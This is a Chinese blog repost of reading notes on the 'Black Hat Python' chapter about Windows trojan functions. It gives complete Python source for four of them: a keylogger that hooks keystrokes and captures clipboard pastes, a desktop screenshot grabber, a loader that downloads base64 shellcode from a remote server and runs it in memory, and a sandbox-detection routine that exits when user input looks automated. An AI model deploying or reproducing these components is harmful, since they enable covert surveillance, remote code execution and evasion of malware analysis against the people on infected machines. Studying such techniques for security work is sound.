《Python黑帽子:黑客与渗透测试编程之道》读书笔记:Windows下木马的常用功能

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篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了《Python黑帽子:黑客与渗透测试编程之道》读书笔记:Windows下木马的常用功能相关的知识,希望对你有一定的参考价值。

前言

《Python黑帽子:黑客与渗透测试编程之道》的读书笔记,会包括书中源码,并自己将其中一些改写成Python3版本。书是比较老了,anyway,还是本很好的书

本篇是第8章Windows下木马的常用功能,包括键盘记录,屏幕快照,执行shellcode,并穿插沙盒检测技术

1、键盘记录

键盘记录是最古老的黑客技术之一

#!/usr/bin/env python
#-*- coding:utf8 -*-

from ctypes import *
import pythoncom
import pyHook #这个库可以捕获键盘事件,用了SetWindowsHookEx
import win32clipboard

user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = None

def get_current_process():

    # 获取前台窗口句柄
    hwnd = user32.GetForegroundWindow()

    # 获得进程ID
    pid = c_ulong(0)
    user32.GetWindowThreadProcessId(hwnd, byref(pid))

    # 保存当前进程ID
    process_id = "%d" % pid.value

    # 申请内存
    executable = create_string_buffer("\\x00" * 512)
    # 打开进程
    h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)
    # 获取进程所对应的可执行文件的名字
    psapi.GetModuleBaseNameA(h_process, None, byref(executable),512)

    # 读取窗口标题
    window_title = create_string_buffer("\\x00" * 512)
    length = user32.GetWindowTextA(hwnd, byref(window_title), 512)

    # 输出进程相关信息
    print
    print "[ PID: %s - %s - %s]" % (process_id, executable.value, window_title.value)
    print

    # 关闭句柄
    kernel32.CloseHandle(hwnd)
    kernel32.CloseHandle(h_process)

# 核心代码
def keyStore(event):
    global current_window

    # 检查目标是否切换了窗口
    if event.WindowName != current_window:
        current_window = event.WindowName
        get_current_process()

    # 检测按键是否为常规按键(非组合键等)
    if event.Ascii > 32 and event.Ascii < 127:
        print chr(event.Ascii),
    else:
        # 若输入为[CTRL-V],则获取剪切板内容
        if event.Key == "V":
            win32clipboard.OpenClipboard()
            pasted_value = win32clipboard.GetClipboardData()
            win32clipboard.CloseClipboard()

            print "[PASTE] - %s" % (pasted_value),

        else:
            print "[%s]" % event.Key,

    # 返回直到下一个钩子事件被触发
    return True

# 创建和注册钩子函数管理器
k1 =pyHook.HookManager()
# 绑定事件
k1.KeyDown = keyStore

# 注册键盘记录的钩子,然后永久执行
k1.HookKeyboard()
pythoncom.PumpMessages()

2、屏幕快照

可以用PyWin32库来调用GDI进行抓屏

#!/usr/bin/env python
#-*- coding:utf8 -*-

import win32gui
import win32ui
import win32con
import win32api

# 获取窗口桌面的句柄
hdesktop = win32gui.GetDesktopWindow()

# 获得显示屏的像素尺寸
width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)
height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)
left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)
top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)

# 创建设备描述表
desktop_dc = win32gui.GetWindowDC(hdesktop)
img_dc = win32ui.CreateDCFromHandle(desktop_dc)

# 创建基于内存的设备描述表,用于储存我们捕获到的图片的数据,直到我们保存到文件
mem_dc = img_dc.CreateCompatibleDC()

# 创建位图对象
screenshot = win32ui.CreateBitmap()
screenshot.CreateCompatibleBitmap(img_dc, width, height)
mem_dc.SelectObject(screenshot)

# 复制屏幕到我们的内存设备描述表中
mem_dc.BitBlt((0,0), (width,height), img_dc, (left, top), win32con.SRCCOPY)

# 将位图保存到文件中
screenshot.SaveBitmapFile(mem_dc, "C:\\\\test.bmp")

# 释放对象
mem_dc.DeleteDC()
win32gui.DeleteObject(screenshot.GetHandle())

3、shellcode

利用urllib2库从web服务器上下载base64编码的shellcode

#!/usr/bin/env python
#-*- coding:utf8 -*-

import urllib2
import ctypes
import base64

# 从我们搭建的服务器下下载shellcode
url = "http://10.10.10.128:8000/shellcode.exe"
response = urllib2.urlopen(url)

# 解码shellcode
shellcode = base64.b64decode(response.read())
# 申请内存空间
shellcode_buffer = ctypes.create_string_buffer(shellcode, len(shellcode))
# 创建shellcode的函数指针
shellcode_func = ctypes.cast(shellcode_buffer, ctypes.CFUNCTYPE(ctypes.c_void_p))
# 执行shellcode
shellcode_func()

4、沙盒检测

主要是根据用户的交互来判断是不是沙盒

#!/usr/bin/env python
#-*- coding:utf8 -*-

import ctypes
import random
import time
import sys

user32 = ctypes.windll.user32
kernel32 = ctypes.windll.kernel32

# 用于记录鼠标单击,键盘按键和双击的总数量
keystrokes = 0
mouse_clicks = 0
double_clicks = 0

#  定义LASTINPUTINFO结构体
class LASTINPUTINFO(ctypes.Structure):
    _fields_ = [
                ("cbsize", ctypes.c_uint),  # 结构体大小
                ("dwTime", ctypes.c_ulong)  # 系统最后输入时间
                ]

def get_last_input():
    struct_lastinputinfo = LASTINPUTINFO()
    struct_lastinputinfo.cbSize = ctypes.sizeof(LASTINPUTINFO)

    # 获得用户最后输入的相关信息
    user32.GetLastInputInfo(ctypes.byref(struct_lastinputinfo))

    # 获取系统开机以来的时间
    run_time = kernel32.GetTickCount()

    elapsed = run_time - struct_lastinputinfo.dwTime
    print "[*] It's been %d milliseconds since the last input event." % elapsed

    return elapsed

# 测试后删除下面代码,这只是测试上面代码能否运行成功
# while True:
#     get_last_input()
#     time.sleep(1)

def get_key_press():
    global mouse_clicks
    global keystrokes

    for i in range(0,0xff):
        # 检测某个按键是否被按下
        if user32.GetAsyncKeyState(i) == -32767:
            # 左键点击为0x1
            if i == 0x1:
                # 鼠标单击的数目和时间
                mouse_clicks += 1
                return time.time()
            # 键盘ASCII按键是从23-127(具体可看ASCII表),为可打印字符,这就获取了键盘的敲击次数
            elif i > 32 and i < 127:
                keystrokes += 1

    return None

def detect_sandbox():
    global mouse_clicks
    global keystrokes

    # 定义键盘,单击,双击的最大值(阀值)
    max_keystrokes = random.randint(10,25)
    max_mouse_clicks = random.randint(5,25)
    max_double_clicks = 10

    double_clicks = 0
    double_click_threshold = 0.250 #秒为单位
    first_double_click = None

    average_mousetime = 0
    max_input_threshold = 30000 #毫秒为单位

    previous_timestamp = None
    detection_complete = False

    # 获取用户最后一次输入之后经历的时间
    last_input = get_last_input()

    # 超过设定的阀值时强制退出,就是用户最后一次输入之后经历的时间太长,都没用户活动了
    if last_input >= max_input_threshold:
        sys.exit(0)

    # 循环检测
    while not detection_complete:

        # 获取按下鼠标的时间,不懂的看函数的返回值
        keypress_time = get_key_press()

        if keypress_time is not None and previous_timestamp is not None:
            # 计算两次点击的相隔时间
            elapsed = keypress_time - previous_timestamp
            # 间隔时间短的话,则为用户双击
            if elapsed <= double_click_threshold:
                double_clicks += 1
                if first_double_click is None:
                    # 获取第一次双击的时间
                    first_double_click = time.time()
                else:
                    # 是否是沙盒的管理者在沙盒中模仿用户的点击(因为普通用户通常不会双击这么多)
                    if double_clicks == max_double_clicks:
                        # 短时间内,鼠标点击达到了我们设定的最大值(最大次数*双击间隔)
                        if keypress_time - first_double_click <= (max_double_clicks * double_click_threshold):
                            sys.exit(0)
            # 是否达到了我们检测的最大数量,是就退出
            if keystrokes >= max_keystrokes and double_clicks >= max_double_clicks and mouse_clicks >=max_mouse_clicks:
                return

            previous_timestamp = keypress_time
        elif keypress_time is not None:
            previous_timestamp = keypress_time

detect_sandbox()
print "We are Ok!"

结语

一些简单的脚本

以上是关于《Python黑帽子:黑客与渗透测试编程之道》读书笔记:Windows下木马的常用功能的主要内容,如果未能解决你的问题,请参考以下文章

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